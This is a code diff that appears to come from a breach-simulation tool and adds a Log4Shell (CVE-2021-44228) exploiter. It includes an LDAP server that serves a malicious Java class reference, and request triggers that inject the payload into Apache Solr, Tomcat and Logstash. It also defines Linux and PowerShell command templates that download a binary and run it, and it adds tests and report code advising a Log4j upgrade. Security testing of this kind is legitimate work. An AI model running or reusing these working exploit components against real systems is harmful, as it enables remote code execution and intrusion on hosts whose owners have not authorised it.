self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path
):
"""
:param ldap_server_port: The port that the LDAP server will listen on.
:param http_server_ip: The IP address of the HTTP server that serves the malicious Log4Shell
Java class.
:param http_server_port: The port the HTTP server is listening on.
:param storage_dir: A directory where the LDAP server can safely store files it needs during
runtime.
"""
self._reactor_startup_completed = multiprocessing.Event()
self._ldap_server_port = ldap_server_port
self._http_server_ip = http_server_ip
self._http_server_port = http_server_port
self._storage_dir = storage_dir
# A Twisted reactor can only be started and stopped once. It cannot be restarted after it
# has been stopped. To work around this, the reactor is configured and run in a separate
# process. This allows us to run multiple LDAP servers sequentially or simultaneously and
# stop each one when we're done with it.
self._server_process = multiprocessing.Process(
target=self._run_twisted_reactor, daemon=True
)
def run(self):
"""
Runs the Log4Shell LDAP exploit server in a subprocess. This method attempts to start the
server and blocks until either the server has successfully started or it times out.
:raises LDAPServerStartError: Indicates there was a problem starting the LDAP server.
"""
logger.info("Starting LDAP exploit server")
self._server_process.start()
reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC)
if not reactor_running:
raise LDAPServerStartError("An unknown error prevented the LDAP server from starting")
logger.debug("The LDAP exploit server has successfully started")
def _run_twisted_reactor(self):
logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}")
self._configure_twisted_reactor()
# Since the call to reactor.run() blocks, a separate thread is started to poll the value
# of `reactor.running` and set the self._reactor_startup_complete Event when the reactor
# is running. This allows the self.run() function to block until the reactor has
# successfully started.
threading.Thread(target=self._check_if_reactor_startup_completed, daemon=True).start()
reactor.run()
def _check_if_reactor_startup_completed(self):
check_interval_sec = 0.25
num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec)
for _ in range(0, num_checks):
if reactor.running:
logger.debug("Twisted reactor startup completed")
self._reactor_startup_completed.set()
break
logger.debug("Twisted reactor has not yet started")
time.sleep(check_interval_sec)
def _configure_twisted_reactor(self):
LDAPExploitServer._output_twisted_logs_to_python_logger()
registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry)
tree = Tree(self._http_server_ip, self._http_server_port, self._storage_dir)
factory = LDAPServerFactory(tree.db)
factory.debug = True
application = service.Application("ldaptor-server")
service.IServiceCollection(application)
reactor.listenTCP(self._ldap_server_port, factory)
@staticmethod
def _output_twisted_logs_to_python_logger():
# Configures Twisted to output its logs using the standard python logging module instead of
# the Twisted logging module.
# https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html
log_observer = log.PythonLoggingObserver()
log_observer.start()
def stop(self, timeout: float = None):
"""
Stops the LDAP server.
:param timeout: A floating point number of seconds to wait for the server to stop. If this
argument is None (the default), the method blocks until the LDAP server
terminates. If `timeout` is a positive floating point number, this method
blocks for at most `timeout` seconds.
"""
if self._server_process.is_alive():
logger.debug("Stopping LDAP exploit server")
# The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully
# shutdown.
self._server_process.terminate()
self._server_process.join(timeout)
if self._server_process.is_alive():
logger.warning("Timed out while waiting for the LDAP exploit server to stop")
else:
logger.debug("Successfully stopped the LDAP exploit server")

View File

@ -0,0 +1,10 @@
from typing import List
from .i_service_exploiter import IServiceExploiter
from .solr import SolrExploit
from .tomcat import TomcatExploit
from .logstash import LogStashExploit
def get_log4shell_service_exploiters() -> List[IServiceExploiter]:
return [SolrExploit(), TomcatExploit(), LogStashExploit()]

View File

@ -0,0 +1,16 @@
import abc
from infection_monkey.model import VictimHost
class IServiceExploiter(metaclass=abc.ABCMeta):
@property
@abc.abstractmethod
def service_name(self) -> str:
# Should have the name of the exploited service
pass
@staticmethod
@abc.abstractmethod
def trigger_exploit(payload: str, host: VictimHost, port: int):
raise NotImplementedError

View File

@ -0,0 +1,20 @@
from logging import getLogger
import requests
from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter
from infection_monkey.model import VictimHost
logger = getLogger(__name__)
class LogStashExploit(IServiceExploiter):
service_name = "LogStash"
@staticmethod
def trigger_exploit(payload: str, host: VictimHost, port: int):
url = f"http://{host.ip_addr}:{port}/_node/hot_threads?human={payload}"
try:
resp = requests.get(url, timeout=5, verify=False) # noqa DUO123
except requests.ReadTimeout as e:
logger.debug(f"Log4shell request failed {e}")

View File

@ -0,0 +1,20 @@
from logging import getLogger
import requests
from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter
from infection_monkey.model import VictimHost
logger = getLogger(__name__)
class SolrExploit(IServiceExploiter):
service_name = "Apache Solr"
@staticmethod
def trigger_exploit(payload: str, host: VictimHost, port: int):
url = f"http://{host.ip_addr}:{port}/solr/admin/cores?fu={payload}"
try:
requests.post(url, timeout=5, verify=False) # noqa DUO123
except requests.ReadTimeout as e:
logger.debug(f"Log4shell request failed {e}")

View File

@ -0,0 +1,21 @@
from logging import getLogger
import requests
from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter
from infection_monkey.model import VictimHost
logger = getLogger(__name__)
class TomcatExploit(IServiceExploiter):
service_name = "Apache Tomcat"
@staticmethod
def trigger_exploit(payload: str, host: VictimHost, port: int):
url = f"http://{host.ip_addr}:{port}/examples/servlets/servlet/SessionExample"
payload = {"dataname": "foo", "datavalue": payload}
try:
resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
except requests.ReadTimeout as e:
logger.debug(f"Log4shell request failed {e}")

View File

@ -10,6 +10,7 @@ import ssl
import urllib.error
import urllib.parse
import urllib.request
from typing import List, Tuple
from infection_monkey.exploit.web_rce import WebRCE
@ -30,17 +31,10 @@ class Struts2Exploiter(WebRCE):
exploit_config["dropper"] = True
return exploit_config
def build_potential_urls(self, ports, extensions=None):
"""
We need to override this method to get redirected url's
:param ports: Array of ports. One port is described as size 2 array: [port.no(int),
isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack
"""
url_list = super(Struts2Exploiter, self).build_potential_urls(ports)
url_list = [self.get_redirected(url) for url in url_list]
@staticmethod
def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]:
url_list = WebRCE.build_potential_urls(ip, ports)
url_list = [Struts2Exploiter.get_redirected(url) for url in url_list]
return url_list
@staticmethod

View File

@ -2,6 +2,7 @@ import logging
import re
from abc import abstractmethod
from posixpath import join
from typing import List, Tuple
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
@ -21,6 +22,7 @@ from infection_monkey.model import (
POWERSHELL_HTTP_UPLOAD,
RUN_MONKEY,
WGET_HTTP_UPLOAD,
VictimHost,
)
from infection_monkey.network.tools import tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
@ -99,7 +101,9 @@ class WebRCE(HostExploiter):
if not ports:
return False
# Get urls to try to exploit
potential_urls = self.build_potential_urls(ports, exploit_config["url_extensions"])
potential_urls = self.build_potential_urls(
self.host.ip_addr, ports, exploit_config["url_extensions"]
)
self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"])
if not self.are_vulnerable_urls_sufficient():
@ -154,8 +158,12 @@ class WebRCE(HostExploiter):
"""
raise NotImplementedError()
def get_open_service_ports(self, port_list, names):
@staticmethod
def get_open_service_ports(
victim_host: VictimHost, port_list: List[Tuple[str, bool]], names: List[str]
): # noqa: F821
"""
:param victim_host: VictimHost object that exploiter is targeting
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
:return: Returns all open ports from port list that are of service names
@ -163,12 +171,12 @@ class WebRCE(HostExploiter):
candidate_services = {}
candidate_services.update(
{
service: self.host.services[service]
for service in self.host.services
service: victim_host.services[service]
for service in victim_host.services
if (
self.host.services[service]
and "name" in self.host.services[service]
and self.host.services[service]["name"] in names
victim_host.services[service]
and "name" in victim_host.services[service]
and victim_host.services[service]["name"] in names
)
}
)
@ -216,10 +224,12 @@ class WebRCE(HostExploiter):
logger.error("Host's exploitability check failed due to: %s" % e)
return False
def build_potential_urls(self, ports, extensions=None):
@staticmethod
def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]:
"""
Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and
extensions.
:param ip: IP address of the victim
:param ports: Array of ports. One port is described as size 2 array: [port.no(int),
isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
@ -237,9 +247,7 @@ class WebRCE(HostExploiter):
protocol = "https"
else:
protocol = "http"
url_list.append(
join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)
)
url_list.append(join(("%s://%s:%s" % (protocol, ip, port[0])), extension))
if not url_list:
logger.info("No attack url's were built")
return url_list
@ -329,7 +337,7 @@ class WebRCE(HostExploiter):
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [
port.nr, IsHTTPS?]
"""
ports = self.get_open_service_ports(ports, names)
ports = WebRCE.get_open_service_ports(self.host, ports, names)
if not ports:
logger.info("All default web ports are closed on %r, skipping", str(self.host))
return False

View File

@ -60,4 +60,15 @@ HADOOP_LINUX_COMMAND = (
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
)
LOG4SHELL_LINUX_COMMAND = (
"wget -O %(monkey_path)s %(http_path)s ;"
" chmod +x %(monkey_path)s ;"
" %(monkey_path)s %(monkey_type)s %(parameters)s"
)
LOG4SHELL_WINDOWS_COMMAND = (
'powershell -NoLogo -Command "'
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; "
' %(monkey_path)s %(monkey_type)s %(parameters)s"'
)
DOWNLOAD_TIMEOUT = 180

View File

@ -108,14 +108,14 @@ else:
return routes
def get_free_tcp_port(min_range=1000, max_range=65535):
start_range = min(1, min_range)
def get_free_tcp_port(min_range=1024, max_range=65535):
min_range = max(1, min_range)
max_range = min(65535, max_range)
in_use = [conn.laddr[1] for conn in psutil.net_connections()]
for i in range(min_range, max_range):
port = randint(start_range, max_range)
port = randint(min_range, max_range)
if port not in in_use:
return port

View File

@ -17,6 +17,7 @@ BASIC = {
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"Log4ShellExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",

View File

@ -165,5 +165,16 @@ EXPLOITER_CLASSES = {
"link": "https://www.guardicore.com/infectionmonkey"
"/docs/reference/exploiters/powershell",
},
{
"type": "string",
"enum": ["Log4ShellExploiter"],
"title": "Log4Shell Exploiter",
"safe": True,
"info": "Exploits a software vulnerability (CVE-2021-44228) in Apache Log4j, a Java "
"logging framework. Exploitation is attempted on the following services — "
"Apache Solr, Apache Tomcat, Logstash.",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference"
"/exploiters/log4shell/",
},
],
}

View File

@ -129,7 +129,7 @@ INTERNAL = {
"type": "array",
"uniqueItems": True,
"items": {"type": "integer"},
"default": [80, 8080, 443, 8008, 7001, 9200],
"default": [80, 8080, 443, 8008, 7001, 9200, 8983, 9600],
"description": "List of ports the monkey will check if are being used "
"for HTTP",
},

View File

@ -8,6 +8,9 @@ from monkey_island.cc.services.reporting.issue_processing.exploit_processing.pro
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501
ExploitProcessor,
)
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.log4shell import ( # noqa: E501
Log4ShellProcessor,
)
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501
ShellShockExploitProcessor,
)
@ -52,6 +55,7 @@ class ExploiterDescriptorEnum(Enum):
POWERSHELL = ExploiterDescriptor(
"PowerShellExploiter", "PowerShell Remoting Exploiter", ExploitProcessor
)
LOG4SHELL = ExploiterDescriptor("Log4ShellExploiter", "Log4Shell Exploiter", Log4ShellProcessor)
@staticmethod
def get_by_class_name(class_name: str) -> ExploiterDescriptor:

View File

@ -21,3 +21,4 @@ class ExploiterReportInfo:
port: Union[str, None] = None
paths: Union[List[str], None] = None
password_restored: Union[bool, None] = None
service: Union[str, None] = None

View File

@ -0,0 +1,16 @@
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501
ExploiterReportInfo,
)
class Log4ShellProcessor:
@staticmethod
def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo:
ip_addr = exploit_dict["data"]["machine"]["ip_addr"]
machine = NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr))
port = exploit_dict["data"]["info"]["vulnerable_service"]["port"]
service = exploit_dict["data"]["info"]["vulnerable_service"]["service_name"]
return ExploiterReportInfo(
ip_address=ip_addr, machine=machine, type=class_name, port=port, service=service
)

View File

@ -31,6 +31,7 @@ import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues
import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue';
import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue';
import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue';
import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue';
import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue';
import {
crossSegmentIssueOverview,
@ -158,6 +159,11 @@ class ReportPageComponent extends AuthComponent {
[this.issueContentTypes.REPORT]: zerologonIssueReport,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
'Log4ShellExploiter': {
[this.issueContentTypes.OVERVIEW]: log4shellIssueOverview,
[this.issueContentTypes.REPORT]: log4shellIssueReport,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
'zerologon_pass_restore_failed': {
[this.issueContentTypes.OVERVIEW]: zerologonOverviewWithFailedPassResetWarning
},

View File

@ -0,0 +1,30 @@
import React from 'react';
import CollapsibleWellComponent from '../CollapsibleWell';
import {Button} from 'react-bootstrap';
export function log4shellIssueOverview() {
return (<li>Some servers are vulnerable to the Log4Shell remote code execution exploit.</li>)
}
export function log4shellIssueReport(issue) {
return (
<>
Upgrade the Apache Log4j component to version 2.15.0 or later.
<CollapsibleWellComponent>
The {issue.service} server <span className="badge badge-primary">{issue.machine}</span> (<span
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}:{issue.port}</span>) is vulnerable to <span
className="badge badge-danger">the Log4Shell remote code execution</span> attack.
<br/>
The attack was made possible due to an old version of Apache Log4j component (
<Button
variant={'link'}
href='https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228'
target={'_blank'}
className={'security-report-link'}
>
CVE-2021-44228
</Button>).
</CollapsibleWellComponent>
</>
);
}

View File

@ -0,0 +1,5 @@
public class SourceCode {
static {
System.out.println("Hello World!");
}
}

View File

@ -0,0 +1,34 @@
import pytest
from infection_monkey.exploit.log4shell_utils import (
LINUX_EXPLOIT_TEMPLATE_PATH,
InvalidExploitTemplateError,
build_exploit_bytecode,
)
@pytest.fixture
def payload():
return "bash -c 'touch /tmp/exploit-test'"
@pytest.fixture
def invalid_templates_dir(data_for_tests_dir):
return data_for_tests_dir / "invalid_log4j_bytecode_templates"
def test_inject_command(payload):
expected_bytecode = b"\x21" + payload.encode() + b"\x0c"
exploit_bytecode = build_exploit_bytecode(payload, LINUX_EXPLOIT_TEMPLATE_PATH)
assert expected_bytecode in exploit_bytecode
def test_missing_injection_tag(invalid_templates_dir, payload):
with pytest.raises(InvalidExploitTemplateError):
build_exploit_bytecode(payload, invalid_templates_dir / "MissingTag.class")
def test_uncompiled_java_class(invalid_templates_dir, payload):
with pytest.raises(InvalidExploitTemplateError):
build_exploit_bytecode(payload, invalid_templates_dir / "SourceCode.java")

View File

@ -0,0 +1,54 @@
import pytest
import requests
from infection_monkey.exploit.log4shell_utils import ExploitClassHTTPServer
from infection_monkey.network.info import get_free_tcp_port
@pytest.fixture
def ip():
return "127.0.0.1"
@pytest.fixture
def port():
return get_free_tcp_port()
@pytest.fixture
def java_class():
return b"\xde\xad\xbe\xef"
@pytest.fixture
def server(ip, port, java_class):
server = ExploitClassHTTPServer(ip, port, java_class, 0.01)
server.run()
yield server
server.stop()
@pytest.fixture
def exploit_url(ip, port):
return f"http://{ip}:{port}/Exploit"
@pytest.mark.usefixtures("server")
def test_only_single_download_allowed(exploit_url, java_class):
response_1 = requests.get(exploit_url)
assert response_1.status_code == 200
assert response_1.content == java_class
response_2 = requests.get(exploit_url)
assert response_2.status_code == 429
assert response_2.content != java_class
def test_exploit_class_downloded(server, exploit_url):
assert not server.exploit_class_downloaded()
requests.get(exploit_url)
assert server.exploit_class_downloaded()

View File

@ -0,0 +1,35 @@
import pytest
from ldap3 import ALL_ATTRIBUTES, BASE, Connection, Server
from infection_monkey.exploit.log4shell_utils import LDAPExploitServer
from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN
from infection_monkey.network.info import get_free_tcp_port
@pytest.mark.slow
def test_ldap_server(tmp_path):
http_ip = "172.10.20.30"
http_port = 9999
ldap_port = get_free_tcp_port()
ldap_server = LDAPExploitServer(ldap_port, http_ip, http_port, tmp_path)
ldap_server.run()
server = Server(host="127.0.0.1", port=ldap_port)
conn = Connection(server, auto_bind=True)
conn.search(
search_base=EXPLOIT_RDN,
search_filter="(objectClass=*)",
search_scope=BASE,
attributes=ALL_ATTRIBUTES,
)
assert len(conn.response) == 1
attributes = conn.response[0]["attributes"]
assert attributes.get("objectClass", None) == ["javaNamingReference"]
assert attributes.get("javaClassName", None) == ["Exploit"]
assert attributes.get("javaCodeBase", None) == [f"http://{http_ip}:{http_port}/"]
assert attributes.get("javaFactory", None) == ["Exploit"]
ldap_server.stop()

View File

@ -3,6 +3,7 @@ Everything in this file is what Vulture found as dead code but either isn't real
dead or is kept deliberately. Referencing these in a file like this makes sure that
Vulture doesn't mark these as dead again.
"""
from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory
from monkey_island.cc.models import Report
fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37)
@ -66,6 +67,7 @@ MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_proce
VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45)
DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48)
POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52)
ExploiterDescriptorEnum.LOG4SHELL
_.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26)
PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4)
internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43)
@ -181,6 +183,7 @@ Report.recommendations
Report.glance
Report.meta_info
Report.meta
LDAPServerFactory.buildProtocol
# these are not needed for it to work, but may be useful extra information to understand what's going on
WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23)